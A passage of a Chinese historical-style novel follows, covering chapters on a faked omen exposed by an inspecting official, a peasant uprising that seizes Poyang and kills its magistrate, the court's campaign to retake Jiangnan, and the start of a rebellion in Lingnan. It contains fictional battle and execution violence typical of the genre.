过了两天,童道生已将德州的府库账目检查完毕。谢涛再次来到驿馆,旧事重提,想跟童道生联名上报祥瑞。童道生微笑着给谢涛添了些茶水,说道:“谢大人治理德州不过三年,府库充盈,人民丰足,社会治安也不错,以此来看,大人真乃治世贤臣。”谢涛急忙摆手说:“大人言重了,谢某不敢当,不敢当。”童道生继续说:“谢大人不必过谦。若论经济发展,童某这一路上所过州县,还没有哪个能跟德州相比,这都是谢大人的功劳啊!”谢涛欠身离座,一躬到地说:“能得到大人的肯定,下官就是再付出十倍辛劳也值得。”童道生又请他坐下,接着说:“谢大人既然是能臣干吏,必会脱颖而出,得到朝廷赏识,又何必非要参与那装神弄鬼的事情呢?”谢涛吃了一惊,假装镇定地问:“大人何出此言?”童道生叫王虎拿来一张单据递给谢涛说:“谢大人,这是我让人查的德州各大药铺近年所进的雄黄数量。很显然,今年贵地所用的雄黄远远多过往年。大人也许不知,童某在翰林院供职多年,也曾看过不少医书。但凡有人将大量雄黄埋于地下,再淋上水,那雄黄就会蒸腾升发,犹如起雾一般。而那日,童某在董子祠内,也闻到了一股雄黄的气味。童某是惜才之人,不想大人因上报祥瑞而遭到后世耻笑,这才向谢大人言明,还请大人不要相怪。”谢涛大惊,急忙跪倒说:“下官愚钝,险些被奸人蒙蔽干下错事,还请童大人恕罪。”童道生笑了笑,把谢涛搀起来,说道:“能在繁露台前制造出神秘景观,也不失为一种睿智。只是不要再以祥瑞上报了,更不要大肆宣扬,以防宵小之徒利用此术做出怪诞之事糊弄朝廷,让国家蒙受损失。”谢涛边躬身作揖边说:“下官不敢,下官不敢。多谢童大人点拨。” 在继续往幽州巡察的路上,童道生对王虎说:“虎兄,现在国家糜烂,小人当权,政治局势波诡云谲。可我们的皇上却不知收敛,还在装神弄鬼,瞎折腾。为了建一座天帝神仙宫,他投入了近五百万两白银,国库瞬间就被掏空。再加上各地乌七八糟的祥瑞,影响了社会秩序,长此以往,江山危噫!”王虎也叹了口气说:“哎,再造也不用想那么多了。你在京城没少向皇上进谏,可他啥时候听过呀。要不是看你以前对他有大恩,说不定早就治咱们的罪了。”童道生凝起眉头说:“国家承平了五十年,难道就任由她败落不成?在出京之前,我听说江南、岭南和山南已有多股力量扯旗造反,而那秦国勋、陈标、赵义廷等人竟无力平叛,若再这样发展下去,后果真的不堪设想呀!只是,这些坏消息都被赵松寿、张永德、冯体仁之流恶意隐瞒,弄得皇上还以为江山稳固、天下太平呢!”王虎凑近了问:“再造,这些事情你可曾告诉过宣道大人?”童道生说:“宣道兄长是节度使,享有自治权。我当然会把掌握的情况向兄长汇报。只是在咱们出京的这一个多月里,南方的局势愈加不稳,尚不清楚兄长是否知道这些变化……” 千里之外的晋阳城里,申鲤刚刚接到从光裕寨发来的飞鸽传书。他不敢怠慢,急忙拿着信卷往见宋大人。此时,宋启愚正双眼盯着地图,饶有兴致地听段卫国、张广胜和权正义汇报关北长城的修建情况。权正义指着图说:“关北长城的主体部分已基本建成,主要包括大同关、镇虏堡、云川堡、平虏堡和连接的城墙。另外,在银星山、大钟山等高峰上,我们又增建了烽火台,可以及时预警,为我军争取更多迎敌时间。”段卫国补充道:“大人,大同护城河的拓宽工程也已完成。这一年半里,咱关北军民拼了命地赶工修城,有不少人累死在工地上,还有些从山上摔下来,连尸首都没有找到。但大伙谁都没有抱怨,因为他们知道那是为自己修的长城,那城就是自己家人的命。”宋启愚拍了拍张广胜和权正义的肩臂,说道:“关北尤其是大同为保卫中土付出了许多。对那些修城有功人员,我要大力褒奖。对那些为建长城献身的烈士,我也要优加抚恤。”他又俯身点指着地图上的几个位置说:“你们看,今后,咱们还应在玉林、阳和、天成、井坪这些地方增加一些卫所,以加大防御纵深和防御强度。到那时,对柔然骑兵来说,关北长城就是一道不可逾越的天堑。” 几个人正说话间,李夫人和韩夫人在前,申鲤和承宇、承宸在后快步走进了厅堂。宋启愚见这阵势,多少明白了几分。他声音略带颤抖地问:“可是……可是太公……”申鲤急忙将信卷呈上。韩夫人躬身说:“太公中风,危在旦夕。我已吩咐家人备马,老爷可立即带着承宇飞马回寨。我与姐姐并全家眷属随后也跟从回乡。”李夫人拉过儿子,流着泪说:“跟父亲去吧,照顾好你父亲。”张广胜上前一步说:“末将们的马和随从就在衙外。我们护送大人去光裕寨。”宋启愚把信卷揣进怀中,坚毅地说:“三位将军,你们的功劳我已记下,相关人员的赏赐不日便能下发。你们在大同还有军务,就不用陪我了。承宇、申鲤,你们跟着我回去。其余人等随后和两位夫人一同还乡。”说完,宋启愚迈开大步急匆匆地就向门外奔去。 宋启愚赶到光裕寨的时候已是后半夜。他踉踉跄跄地扑进太公的卧房。床榻之上,老太公直挺挺地躺在那里。他脸色惨白,颧骨凸出,双眼空洞,嘴巴微张,喉咙里发出微弱的“咕噜”声。宋启愚分开众人,跪爬到祖父跟前。他抓住祖父的手,轻声呼唤道:“太公醒来,太公醒来。孙儿回来了,孙儿来看您了。”已经进入濒死状态的老人听闻至亲的声音,身子突然一振。他的眼中闪过了一丝生光。他努力动了动颌骨,可却什么也说不出来。他用尽最后的力气,攥着孙儿的手往上牵引。宋启愚也顺着祖父的力量把手向上移。最后,老太公把孙儿的手按在胸口。他心满意足,含笑而逝。 在冬日漆黑的夜空中,一颗闪亮的流星静静地划过,消失在北方的天迹。 第四十回1 布衣之怒 江南的冬天潮湿阴冷。在鄱阳大牢的墙外,几十个戴着重枷和镣铐的百姓瘫缩在泥水中,发出痛苦的呻吟。他们多半是因交不起各种税赋被抓来示众的。而在监牢内,这样的犯人还有许多。罪犯们了无生趣地靠墙坐着,眼神呆滞,一动不动。忽然,一个中年人把嘴里的血沫啐在地上,哀伤地说:“这哪是人过的日子!渔船税交到了天通四年,人头税交到了天通七年,还有皇粮、劳役、城门费、扩军费、盐铁钱,咱们还哪有活路呀!”一个年轻人狠狠地骂道:“娘的,那帮该死的官吏都应砸烂他们的脑壳!早知现在,小爷上个月就跟着闫二哥去投奔邢大当家,好歹混个肚儿圆。”一个老者赶忙捂住年轻人的嘴,说:“幺哥小声点,他们听见了,还不扒了你的皮。在鄱阳,莫说穷苦人,就是江大财主不也破落了。吃香喝辣的就只有那几个官儿。”被称为幺哥的年轻人梗着脖子说:“已经这样了,还怕什么!小爷只是欠了他们几两银子,又死不了。等小爷出去了,看我怎么找他们算账!”旁边的几个年轻人凑过来说:“幺哥说的对。等出去了,咱们就跟着幺哥去投奔邢大当家,总比在这儿活受罪强。”还有个年轻人说道:“我听说大当家的叫邢华,手下有三四千弟兄,又有二十八位寨主,还请德安的谭举人做了军师,专杀官爷、恶霸,救穷苦人的……”这时,外面传来了狱卒的喝喊声:“老纪,咋又捉了三个来。早说监狱满了,连狱神庙都关了人,哪还有地方啦?”另一个人粗声粗气地说:“老王,你就知足吧。本来要押十几个人来的,朱同知临时抽了几个去修城墙。他还下了手令,叫你再给咱提出三十个穷鬼来,让他们去修城抵债。我这是帮你腾地方呢……” 鄱阳城角,两个被冻得不停跺脚哈手的士兵眼望着破败的城墙和修城的犯人议论道:“这段墙塌了半年了,迈步就能上人。要是有贼人摸进来,可够咱的呛!”另一个士兵回答说:“可不是,听说那个邢华在湖里闹腾得厉害,前些日子还打劫过横塘、都昌,离咱这儿可不远啊。”前一个士兵又说:“好在咱这城里有四五百官军,周围的几个镇子也养的有团练,那邢华未必敢来……” 傍晚的时候,几点雪粒飘落下来,天气愈发寒冷,街上也没了行人。在西城门边的一个破窝棚内,七八个乞丐正在小声议事。居中一人吩咐道:“前天,大哥和军师叫我们几十人潜进城里,说是今夜动手。这两天,咱们也把城里的情况摸清楚了。等二更天,朱老六和屠三哥跟着我先解决城门口的鸟官军。王四带几个人守在那段塌掉的城墙处。蓝正去官军大营外面,观察动静。闫二带几个人到县衙,看着那些狗官。等咱的人马一到,你们先放了牢里的囚徒,再冲进衙门抓了那姓史的。”旁边的几个人抱拳说:“愿听程寨主命令。”坐在最外面的屠三拍着脑袋说:“呀呵,程明老弟安排得怪那个的!象我这大老粗真想不到这些事。”程明笑笑说:“这都是大哥和军师交代好的。大哥还说,这次拿下县城咱就不走了。咱还要把乐平、信州、抚州打下来。到那时候,咱们就保着邢大哥当皇上,谭军师当丞相,咱哥们都当大将军。”闫二等人喜笑颜开地说:“那感情好!咱也闹个官当当。咱也不欺负人,只要能抢个老婆,分点地,好好过日子就行。”程明绷起脸来,说道:“好了,先不说后面的事。你们这就去埋伏。咱可说好了,今夜这一仗,谁要是耍孬种,我可轻饶不了他。”大伙轻轻应了声“是”,陆续起身离开了窝棚。 远处传来“咚咚,咚咚”的敲梆子声,又有打更人“关门关窗,防偷防盗”的喊声,斜卧在城门边上的程明一拍身边的朱老六,低声说:“时辰到了,叫弟兄们动手。”朱老六一骨碌爬起来,把两个手指伸进嘴里,打了一个响亮的呼哨。随着这记口哨,城门近旁的十几个乞丐各拉兵器快速冲向了几个守门的兵丁。那几个城防军还没弄明白怎么回事就去见了阎王。程明带着十几个人来到警卫室外面。他侧着耳朵听了听,对后面吩咐道:“屋里人正在喝酒赌钱。这倒好办了。老六,你领几个人就守在门外。他们出来一个,你就砍翻一个。屠三哥还有你们几个跟我上城去,把剩下的几个哨兵都宰了,就能迎大伙进城了。”说完,他率先猫着身子往城上摸去。 解决了箭楼上的哨兵之后,程明一边命人开关落吊桥,一边把两个火盆移到了一起,那是他和邢华提前约定好的得手信号。远处的黑暗里闪出了火把的光亮,随即,那些火把开始增多,并向着鄱阳城快速移来。角城上的哨兵先发现了异样。他们一边筛锣一边大声呼喊着:“不好了!贼兵来了!贼兵来了!”紧接着,便有几支巡逻队顺着城墙往西门这边赶。可是,已然来不及了,邢华的人马象潮水一般冲进了西门。 程明大笑着上前迎住邢华说:“大当家的。城门一破,鄱阳就是我们的了。”邢华拍拍程明的肩膀说道:“干得好!我给你记大功。现在,你领着哥哥先去拔了官军营寨。军师和邓江去取县衙。孙龙和李林去攻打其它城门。”众人大声应诺,欢跃着向各自的目标扑去。 在军营前,邢华的人马遭遇了激烈的抵抗,冲在最前面的几十个人被箭雨射倒了,连程明的胳膊上也挨了一箭。邢华赶忙命人找来一些门板,又让兄弟邢实带着人往上冲。在反复突击了三次后,农民军终于撕开敌阵,攻到了军营辕门处。见城防军仍有战力,邢华躲在人群后面冲着营门高声喊道:“官军弟兄们,我们是鄱阳湖上的义军。这次我们来了五千人马,比你们多十几倍。弟兄们家里也有老小,有很多人也是穷苦人出身,只要你们放下兵刃,我邢华保证不伤你们的性命。”城防军这边,一些军官对兵士们命令道:“别听他胡说。按照国法,临阵投敌是要灭三族的。邢华手下一共不过两千人,能打仗的也就是千把人,大家别怕。他们敢过来,兄弟们就用弓箭招呼。”领头的城防军司马大骂道:“邢华贼寇,本将这里兵精粮足,对付你们绰绰有余,且朝廷的援军天亮就能到,你们还是快快撤军,逃命去吧!”邢华大怒,命令强攻。双方人马又呐喊着战到了一处。约莫过了小半个时辰,农民军还是没能攻破军营。邢华有些着急了。他冲程明大喊道:“程兄弟,县衙的防卫肯定没有这么严实。我想军师他们应该已经得手了。你现在到衙门去,把被抓的狗官还有皂吏都押到这儿来。我要用这些人当盾牌,攻破官军营寨……” 此时的县衙内外,早已成为农民军和囚徒们欢庆的海洋。原来,县令史培浩得到贼兵攻城的消息后,立即传来属吏和附近的兵丁把守住县衙的各个门墙。他又写下告急文书,让人送往城外。农民军进城后,史培浩命同知守住前衙,而他则换了便服,揣了大印,扯着两个小妾就想从后门逃走。可他哪里知道,早有闫二的手下藏在衙门外了,只要有人出来,便会胡乱大喊。结果,史培浩刚出后角门,就有人在暗处叫嚷道:“有人出来了。大老爷在这呢!快来人呀!抓住他!”史培浩被吓得魂飞魄散,连滚带爬地逃回了衙中。不多时,农民军在军师的率领下,赶到了县衙。他们只用了一袋烟的工夫就突进了前衙。闫二一马当先闯进大牢,兜头砍死了一个狱吏。他又对另几个狱卒喝道:“该死的东西,去把犯人都放了!”这些习惯了强势的狱卒面对血淋淋的大刀,全都变成了温驯的小猫。他们先是忙不迭地磕头称是,又踉跄飞跑着去开各个牢门。重获自由的人们欢呼着跳到了院中。忽然,不知是谁高喊道:“打死这几个畜生!”转瞬间,狱卒们就被几百个红了眼睛的囚徒吞没了。 第四十回2 布衣之怒 片刻之后,幺哥舔了一口拳头上的血,面目狰狞地喝道:“乡亲们,咱也反了!跟着我和闫二哥去把那姓史的狗官揪出来!”几百犯人高喊着“反了”,乱哄哄地就往狱外冲。还没等他们到达仪门,史培浩已经被一群义军连踢带打地从后衙牵了出来。正在大堂上显威风的邓江听说捉了县令,急急地奔到二堂口。他一把揪住史培浩的头发,先往其脸上啐了一口,又抬手扇了他两耳光,往外拽着他说:“狗日的,你咋不横了?你咋不要钱了?老子好端端的一个家,被你给毁了。老子今天非活剐了你不可!”史培浩一边挣扎一边哀求道:“好汉饶命,好汉饶命。本官也是被上峰催逼,实属无奈!本官也不愿强争赋税,都是那些恶吏擅自动粗,实与本官无干啊!”到了大堂前,邓江把史培浩往地上一甩,大声喊道:“大伙都来看哪!这就是赃官史培浩。这狗日的做梦也想不到会落到咱们手里。春六,吴东,在这院子里架起油锅。咱们今天挨个炸了这帮狗官。”几个喽罗和囚徒答应一声,飞跑着去准备东西了。史培浩瘫软在地,嘴里不停地乞求饶命。 这时,军师谭文元带着几个人从仪门走进了县衙。他招呼邓江说:“邓江兄弟且慢。怎么处置这些狗官,得听邢大哥的。另外,整饬你的手下,不能让他们胡来。出发前,邢大哥已经吩咐了,要在此常驻,你可别坏了大哥的事。”邓江把火压了压,冲军师一抱拳说:“邓江听军师的就是。便宜了这帮狗东西。”谭文元上前安慰邓江说:“兄弟放心,饶不了他们。”他又转头对小喽啰们吩咐道:“把这些贪官恶吏都捆结实了,让他们受点活罪,也给兄弟们出出气。” 正在众人折腾这些官吏的时候,程明一脚跨进院中。他轻声把兵营的事情向谭、邓二人做了介绍。谭文元惊道:“那,我跟程明兄弟得押着这些赃官赶紧去。邓江兄弟留下,料理县衙的事情。另外,安民告示我已写好,安排人往四门张贴就是了。”说完,谭文元把手一挥,跟着程明,押着史培浩等人就往衙外走。 史培浩等人被押到兵营前的时候,已过丑时。邢华对着军营喊道:“官军弟兄们,我们已经攻破了县衙,活捉了你们的县令和同知。你们再往四外看一看,县城的几座城门也被我们拿下了。你们还不赶快放下兵器,真的不想活了吗?”其实,城防兵们早就无心打仗了,如今听了这话,更是人人自危。谭文元把史培浩推到阵前,拿刀架在他的脖子上,命令他向里面喊话。已被折磨得没了人形的史培浩颤抖着对兵营喊道:“城、城防军的弟兄们,杨司马……我是、我是史知县。尔,尔等还是,还是降了的好!”军营里面一阵混乱,紧跟着就听见几声惨叫,象是有人被杀了。一个军官冲外面喊道:“邢大当家的,我们要是降了,你能保我们活命吗?”邢华哈哈大笑说:“这个自然。我邢华保证官军弟兄们的安全。我还可以保留你们的队伍,升你们的官。”里面的军官又喊道:“既然邢大当家这么有诚意,就请派位英雄来,跟我们谈谈条件。否则,我们这几百人宁可战死。”邢华跟谭文元等人略一商议,决定派程明前去谈判。在出发之前,谭文元悄悄叮嘱程明说:“兄弟只管去谈,这帮官军已经没了退路,他们一定会投降。别看他们现在跟咱不是一条心,待会儿,只要他们纳了投名状,不怕他们不老实。” 谈判进行的非常顺利,在程明来回奔走了两趟之后,军营里剩余的三百多城防军最终放下了武器。当这些士兵在司马杨一彪的率领下走出辕门的时候,邢华命令喽罗把十几个五花大绑的官吏押到了营前。谭文元清了清嗓子,对官军说道:“杨司马,这些人你都认识吧。有朱同知,还有县里的官吏。本军师命令你们每人上去给他们一刀。”谭文元提高嗓门又说:“你们也知道,咱义军有许多弟兄跟你们有仇,你们若不拿出诚意来,是很难服众的。虽然,邢大当家的饶了你们,但要是有人胆敢不动手,咱义军也不会放过他。”说完,谭文元轻轻挥手,示意喽罗捧着一把匕首送到了杨一彪面前。杨一彪提刀在手,看了看手下的军兵,苦笑一声说:“弟兄们,事到如今,咱也讲究不来了。”说着,他几步走到朱同知面前,一刀就扎透了对方的胸膛。杨一彪把匕首往地上一扔,谄笑着扑到邢华面前,磕头说:“杨某归降来迟,罪该万死。今后,愿辅助邢大哥替天行道,除暴安良。”邢华让邢实把杨一彪搀起来,乐呵呵地说:“杨将军能弃暗投明,本头领以后定不亏待。”其后,每名城防军都如法炮制,表达了各自的投降诚意。 次日中午,邢华头戴黑色方帽,身穿土黄色锦袍,足蹬官靴,腰悬利剑,满面春风、威风凛凛地坐在县衙门楼下。几十名亲卫站在他的身后。又有谭文元、邢实、程明、邓江等寨主领着近两千名农民军列队在衙前广场上。而在外围,被“要求”前来看热闹的鄱阳百姓更是把县衙两边的道路挤了个水泄不通。邢华站起身来,把手一张,喊道:“拖狗官出来。”八名身着红衣红裤的刀斧手把史培浩架到台阶前,又非常麻利地将他绑在了木桩上。广场周边一阵骚动,人们指指点点,议论纷纷。邢华向前走了两步,高声说道:“弟兄们,乡亲们,我邢华向来杀富济贫、替天行道。被绑的这个狗官就是鄱阳知县史培浩。他霸占你们的田宅、敲诈你们的家产、催逼你们的赋税、祸害你们的亲人,这个人罪大恶极,十恶不赦。今天,本头领就在光天化日下杀了这个狗官,替乡亲们报仇。”听了这话,在场的老百姓全都跪地欢呼,感谢上天给自己派来了救星。 邢华回到座位,示意可以开始。随即,谭文元来到阶前,转身命令昨夜投降的城防军鱼贯走向史培浩。领头的杨一彪率先扇了史培浩一记耳光。接着,三百多城防兵一个挨一个把拳脚砸向了这位县令。第一轮行刑结束,谭文元又命令农民军对史培浩进行了第二轮暴击。确认史培浩死亡后,邢华下令把这具血肉模糊的尸体扔到广场外。平日里受尽欺凌的布衣百姓,见有人为自己撑腰,全都冲上来撕拽、踢打、啃咬着这个曾经不可一世的统治者。顷刻间,史培浩皮肉净尽,尸骨无存。接下来,邢华宣布将鄱阳改名饶州,并命人宣读了安民告示。他又把从府库里抄出的借贷文书全都烧毁,还开仓放了粮。饶州人民对邢华感恩戴德,还有不少人当场报名参加了义军。 随后的十几天,邢华接连击败了来自乐平和信州的官军,又攻取了饶州近旁的莲湖寨和高家岭,致使义军声威大振。天通二年正月,秦国勋命安庆镇守使宋钊和洪州镇守使付锡俭各提兵五千,东西对进,夹击鄱阳。但宋、付二人积怨甚深,不愿协同。结果,邢华使用集中兵力各个击破的战术,先在昌江设伏打败了宋钊;又利用鄱阳湖地形,火烧了付锡俭的战船;一举粉碎了官军围剿。在稳住了饶州局势后,邢华四面出击,先后攻占了昌江、乐平、都昌等地。他又采用谭文元的计谋,让部队穿上官军服装,乘夜诈取了信州城。 至天通二年四月,羽翼渐丰的邢华在万余义军的推戴下,于饶州正式称王,并提出了“均贫富,等贵贱”的主张。江南地区的山贼水匪见饶州义军势力强大,纷纷表示愿意归附。还有些衣食无着的老百姓借机起事,啸聚山林。他们打出饶王旗号,抢劫商贾,打砸富户,袭击官府,攻占城池。他们还用最残酷的手段处置被抓的朝廷官员。许多靠花钱上位,平日里作威作福、欺压良善的贪官恶吏,被布衣百姓开膛破肚、挖眼剜心、抽筋扒皮、倒点天灯,落下了应有的可耻下场。 第四十回3 布衣之怒 对于江南百姓的暴动,天通帝起初并没有当回事。他甚至想借义军的力量消耗秦国勋的兵力。可是,随着义军的壮大,天通帝感到了威胁。他决定派兵剿贼。 五月初十,天通帝在养德殿宣召了宰执、枢密等重臣。他开门见山地说:“朕自继位以来,便有意收回江南,只因先前一直着力于铲除成王余党,稳固朝政,才耽搁至今。可不成想,静福余孽秦国勋竟盘剥重税、卖官鬻爵,终激起民变。如今的江南已是一片糜烂。为了保我大周国祚,朕打算派出禁军,征讨东南。不知各位卿家有什么主意?”宰相赵松寿躬身行礼说:“那秦国勋确实可恶,当年辅助逆臣静福已是罪不可赦。陛下为了稳住朝局,仍让秦国勋节度江南。可那小人不知悔改,竟给国家惹出祸端。故微臣以为,此次南征应首先法办秦国勋。这样,不但可收江南民心,还能把东南的土地一并收回。其后,朝廷再派大军,剿抚并重,定能很快平灭贼寇。”冯体仁想了想,说道:“陛下,秦国勋手中号称有八万精锐,若圣上明旨降罪,恐怕他会狗急跳墙。且东南黎民反的是秦国勋,并非我大周,故而,朝廷可先派出兵马进驻江南,以会剿贼寇的名义调秦国勋出杭州。待拿下秦国勋后,再明发圣旨,同时派大军直捣鄱阳,如此行事似乎更为妥帖。微臣愿保举鸿胪寺的尤连生、范春明前往浔阳、安庆、建康等重镇,劝说当地驻军转归朝廷节制。”天通帝点头说:“赵相、冯相所言有理。刘相、张相,你们在军事上有何建议?”刘睿拱手说:“圣上,殿前亲卫都指挥使陈伟亮刚刚剿灭了成王余党田宏业。他的部队士气正旺,可即刻转调江南作战。为了增强禁军实力,微臣建议征调凤翔边防军杨宪部、蔚州边防军景雪峰部、幽州边防军马健东部一同南下,协助平贼。”张永德躬身行礼说:“陛下,臣附议刘相主张。臣还建议征调雍州边防军沈建平部、大同边防军段卫国部参与剿贼。此外,可命岭南宣慰使派出重兵扼守赣州,将贼寇困于山湖之间。”天通帝脸上泛起了笑容。他站起身来,说道:“列位真乃国之干臣,朕无忧咦。为了能够平定江南,朕特命张永德出任南方招讨使,全面负责前方军事。另外,兵部侍郎林九都办事果决,可出任参军,协助张相平贼。”张永德赶忙跪地磕头说:“臣遵旨。臣定然鞠躬尽瘁,不负陛下所托……” 一个月后,张永德率领大军到达了余杭。他立即致书秦国勋,邀请其到军营共商大计。秦国勋心里非常害怕,便叫来温国刚和秦邦未商量对策。秦邦未说:“父亲,张永德佣兵八万,而我杭州只有三万兵马。他又拿着圣旨,咱们没有理由不去呀。且从上次皇上给您的旨意看,朝廷在没有剿灭农民军之前,应该不会动咱们。”秦国勋紧锁眉头说:“这两年,朝廷对我们从来没有放过心。那赵松寿、冯体仁对咱们更是恨之入骨,必欲除之而后快。你们说,张永德这次是帮我们剿贼呢,还是连我们一块剿呢?”温国刚思考了片刻,说道:“宣慰使不要过虑。毕竟我们江南的总兵力比张永德大,且杭州墙高池深,易守难攻,不好得手。只要我们做出万全的准备,我想那张永德不敢胡来。”秦国勋追问道:“请先生明言,秦某怎样做才算万全呢?”温国刚笑笑说:“宣慰使可先派人往见张永德,施以重贿,探其口风,并监视张军动向,若其对咱们没有恶意,宣慰使再考虑与其会晤。其次,宣慰使去见张永德时,应带足护卫,还应将世子留在杭州,以防不测。第三,请宣慰使准臣在浙江门外准备十条海船,并将城内珠宝美女尽数搬至船上。若江南局势果真有变,您和世子便能下船出海,逃离这是非之地。”秦氏父子相视而笑,采纳了温国刚的建议。 几天后,秦国勋带着两千卫队往见张永德,同时留秦邦未镇守杭州。送走了宣慰使后,温国刚立即领着一家老小奔到江边,上了海船。他扭脸看了一眼杭州城,大声命令道:“起锚开船。”船队总管不解地问:“老爷,咱不等宣慰使了吗?”温国刚冷笑几声说:“他回不来了。莫要啰嗦,快去传令……” 事情果如温国刚所料,秦国勋刚到张永德军营,便被预先埋伏好的军兵拿下。而他所带的两千人在几万禁军的包围下,根本没做抵抗。紧接着,张永德挥师南下,一举包围了杭州城。至夜,提前多天潜入杭州的尤连生命令已被其劝说投降朝廷的守军打开了城门。陈伟亮率军一拥而入,迅速占领了这座重镇。秦邦未见大势已去,赶忙往钱塘江逃。可当他跑到江边时,竟连一条小舟也没有找到。秦邦未走投无路,终被林九都俘虏。 张永德占领杭州后,立即将天通帝惩治秦氏父子、招抚地方叛匪的意思做成布告发往江南各地。他又命陈伟亮、景雪峰、马健东、沈建平、段卫国等部队会攻鄱阳。加上宋钊、付锡俭等原属江南的部队配合行动,邢华义军抵敌不住,很快就被击溃。邢华本人仅带领百十名亲信逃进了深山。在大局已定的情况下,张永德上奏朝廷,得胜班师。 为了削弱地方实力,天通帝决定把江南拆分成江浙、闽浙两省,并分任林九都和尤连生为两省巡抚。至此,大周重归一统。 就在天通帝志得意满,以为自己坐稳了江山的时候,一场酝酿了许久的大规模叛乱突然在岭南爆发了。欲知这场动荡的前因后果,请看下回——《岭南之乱》。 第四十一回1 岭南之乱 一年前,大周的年号变更了三次,四月之前使用的是共治二年,五月的头几天又改行同泰十四年,其后,石坚登基,正式定本年为天通元年。而在这一年春天,当时的云贵节度使王克明为了讨好石坚,花重金从大理国买通了一个竹姓部族,准其在黄草坝一带居住,并对外宣称他们是主动归附。石坚继位后,认为这是对自己正统性的肯定,随下旨优待这个部族。谁知这竹姓部族原为夜郎国王室后裔,本就生活在云贵之间,只因百十年前被南召国吞并,才流落他乡。竹姓部族现在的头人名叫竹黄铭,是个野心勃勃的家伙。他早想回归故土,恢复旧国,并为此做了长期准备。这次,竹黄铭正好借着臣服大周的机会,带着全族数千部众迁回了黔贵地区。 竹黄铭定居盘州后,迅速联络了周边各部,并用周朝给的资金结好原属夜郎国的多个少数民族。由于中国传统上从来没有把中原之外的“夷蛮戎狄”放在眼里,对待西南地区尚处在刀耕火种阶段的少数民族自然更加无礼,欺诈、盘剥、打骂、虐待异族人的事情时有发生,所以岭南地区的许多部族打心眼里痛恨汉族人统治。现在,这些人见旧主归来,也有心团结一致,对抗周朝。于是,有不少部族开始与夜郎人接近。而竹黄铭一面发展生产、训练军队;一面与近旁的苗人、羌人、彝人结亲定盟;一面不断向朝廷示好,争取继续得到优待;一面派出亲信,根据旧档记载到处查找夜郎国遗留的金银财宝。天通二年元月,夜郎人经过长时间勘察,终于在黄草坝南部的泥凼地区找到了祖先埋藏的宝藏。这下,竹黄铭有了起事的资本,他仅仅需要一个时机,就能实现自己的夙愿。 天通二年二月,云贵代理节度使张文海到盘州视察。竹黄铭亲自前往州府,拜见张文海,礼数上远比其他部族首领更为殷勤。他还向张文海建言说:“大人,您可知道大理土地贫瘠、军力也弱,却很富足是因为什么吗?”张文海摆出礼贤下士的做派,笑着说:“竹土司,本官愿闻其详。”竹黄铭拿出一张图卷,双手呈送给张文海说:“大理素有‘北铜、西金、东杂矿’的说法。大人不妨看看图,从东川到朱提有很多铜矿,虽然咱们只占据了其中的一小部分,却可向中原提供大量的黄铜,用以制钱,要是大人能多占领几片土地,那您恐怕就是全天下最富有的人了!”张文海的眉头微微动了一下。他心想:若果真如此,那么自己将来的仕途必然顺利。他饶有兴致地指着图上的标记问:“这些符号都是铜矿吗?”竹黄铭笑嘻嘻地回答说:“是的,其中产量最大的几个矿都在凉山,均不属我大周管辖。但那个地区也是大理国的边疆。他们的军府无力控制,很多矿产都被西边的吐蕃边民抢去了。”张文海沉吟道:“这样的损失可是不小啊!但这么多年来,大理和吐蕃并未在此爆发过大规模的战争,又是为何?”竹黄铭装作小心谨慎的样子,轻轻点了一下图说:“一方面,大理军事实力有限;另一方面,他们并不在意铜矿上的损失,因为在哀牢山和澜沧江、金沙江一带他们能采出大量黄金,那可比铜值钱得多呀!”张文海点点头说:“难怪从大理来的客商都穿戴奢华,出手阔绰,原来是有缘故的。那么,‘东杂矿’又是什么意思呢?”竹黄铭又一指图纸,说道:“大人,在鄙部所居住的黄草坝西南,有个边城叫罗雄镇,镇南的大山中有各种金属矿,虽然不如金矿、铜矿值钱,但也是老天赐给大理人的财富啊!”张文海眼珠转了转,捋着微须说:“怪不得竹土司数次请求攻击罗雄。不过,这事关我大周与大理国的关系,恕本官不能给你这个权力。”竹黄铭急忙跪倒说:“大人误会小的了。几十年来,我们这个部族在大理颠沛流离,受尽欺凌。若不是王大人和您容许我们归附大周,也许几年之后,我们这个部族就会离散,我们这些人也会葬身异乡,更不要说过上安生日子了。我,我是打心眼里感激大人,想为大人做点事情,才提出请求的。小的真的不是为了自己呀!”说着,竹黄铭竟呜咽着哭了起来。张文海有些感动。他想不到这个“傻大黑粗”的汉子如此重感情。他上前搀起竹黄铭说:“竹头领请起。本官并没有训斥你的意思。只是,王相走时一再交代,要我处理好与大理之间的关系,不可轻起战端啊。”竹黄铭擦了一把眼泪说:“大人,您要知道天恩难测。您只是个代理节度使,若不用重金或功绩打动上峰,您怎么能坐稳官位,长为封疆大吏呢?所以,小人才想,您只要夺取了凉山的铜矿或者罗雄的杂矿,您和王大人就有足够的钱财,那样,你们办起大事来,怎么会不成功呢?小的真的没有别的企图呀!”竹黄铭的话戳中了张文海的软肋。因为他知道,朝里已经有不少人在打他这个官位的主意了。他凝起眉头想了想,说道:“竹头领的好意本官明白,你的赤诚之心我也看到了。你且安心回去,对你部已有的优待政策一律不变。同时,本官准你节制黄草坝境内的苗人。至于你的提议,本官会认真考虑,再做定夺。你,就不要操心了。”二人又聊了几句别的话,竹黄铭才流着泪告辞,回了部落。 自打这次会面后,张文海便动起了心思。他一面前往朱提找镇守使安杰商量夺取铜矿的计划,一面派出细作到会川地区打探情况,一面密派信使往开封向执政王克明请示行动方略。最终,他决定让安杰的部下乔装成大理的军队袭击吐蕃边寨,挑起两国战争,自己再等待时机从中渔利。 天通二年四月的一个晚上,月朗星稀,天高云淡,安杰的军兵化妆成吐蕃军攻占了大理国的一座边哨。在接下来的几天里,周军又换上大理人的袍服偷袭了吐蕃人的多处驻地,杀死了一百多个吐蕃边民。其后,安杰又派出小股部队截杀了大理派往吐蕃质询此事的信使,导致大理和吐蕃的关系骤然紧张。双方都迅速向凉山边境增兵,两国的战争一触即发。恰在此时,澜沧江一带的大理边民又为了淘金杀死了十几个吐蕃百姓。结果,吐蕃国王大怒,下令部队从德钦和凉山两个方向越过边境,进攻南面的大理国。一场战争就这样爆发了。 单就作战能力而言,大理的军队完全不是吐蕃人的对手。他们很快便丢失了会川城,仅仅依靠战象部队的顽强抵抗,才勉强守住了长江防线。情急之下,大理国王派出使臣带着重礼来到黔中,请求大周出面,调停大理与吐蕃之间的关系。 第四十一回2 岭南之乱 